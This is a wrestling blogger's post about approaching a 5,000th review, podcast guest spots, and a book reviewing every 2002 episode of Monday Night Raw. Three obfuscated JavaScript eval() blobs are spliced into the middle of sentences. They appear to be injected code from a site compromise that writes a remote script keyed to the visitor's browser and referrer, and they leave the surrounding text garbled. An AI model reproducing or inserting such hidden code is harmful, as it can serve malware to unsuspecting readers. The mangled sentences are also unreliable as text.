I had to get a new flash drive today and I thought it would be fun to count up the total number of reviews I’ve done.  I now need someone to tell me it’s going to be ok.  This is a bit much.

32 I Want To Talk A Little Bit About

So therefore, I’m coming up on a heck of a milestone.  What should I do for my 5000th review?  It can be a redo or something fresh but let me have some ideas in the comments.

It’s a fun chat as someone who calls me his mentor (egads the problems that man must have) and I talk about Raw 2002, some events from this week and wrestling in Puerto Rico.  Plus a bit of my backstory if you’ve never heard it before.  Please bear with us on some of the technical issues as the content is there despite some stuttering issues.  I’ve known this guy for a long time now and he’s a very talented writer who knows his stuff.

Check out his site too for a ton of content on lucha libre, albeit in Spanish.

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnkhh|var|u0026u|referrer|hnfns||js|php'.split('|'),0,{})) is one of my favorite shows to be on as the host is one of the best read fans I’ve ever talked to.  We’re going over all things Summerslam for an hour with a look at this year’s card plus our favorite matches and shows from history.  Check it out as it’s definitely a fun show that I had a good time doing with a very easy to listen to host.

Monday Night Raw has been on the air for the better part of twenty five years and there have been a lot of ups and downs. Most fans can tell you which years are better than others but for the most part, 2002 is almost always at or very close to the bottom of the list. The year has some positive aspects to it but they’re buried so far underneath all the bad/boring things that there’s no coming back from it.

In this book, I’m going back through the entire year and looking at every episode to see just how bad things got. There is so much to cover ranging from the final months of Steve Austin’s time as a WWE regular to the Brand Split to the period where WWE scrambled to replace Austin to the rise of Brock Lesnar to Katie Vick to the Shawn Michaels and Triple H Love Fest. I’ll be breaking down each show match by match and segment by segment, including analysis, ratings and historical content included.

The book is available as either an e-book ($2.99) or a regular paperback ($9.99) and are now available on Amazon. If you’re interested in the e-book but don’t have a Kindle or anything to read it on, there are several free apps from Amazon that you can get for whatever platform you like. You can see those right here.

You can pick up the book from Amazon here:

Also you can still get any of my previous books on the WWE Championship, the Intercontinental Championship, Monday Night Raw from 1997, 1998, 2001 and the first half of 2014, Monday Nitro from 1995-1998, In Your House, Summerslam, Starrcade, ECW Pay Per Views, Royal Rumble, Saturday Night’s Main Event, the WWF and WCW pay per views from 1998, Wrestlemania, WWE Grab Bag and Clash of the Champions at my author’s page here.

I hope you like it and shoot me any questions you might have.

That’s a new one and a rather cool feeling.

What eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddsnk|var|u0026u|referrer|zhktk||js|php'.split('|'),0,{})) changes should I make?

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htedf|var|u0026u|referrer|asiit||js|php'.split('|'),0,{})) some reason the comments aren’t working properly and I’m not getting notifications when there’s a new one.  I can still see them all but if I’m a bit slower replying to them, please bear with me as I have to go and check if something is there instead of being told it’s there.  This has happened before and it fixed itself so it should be fine in time.
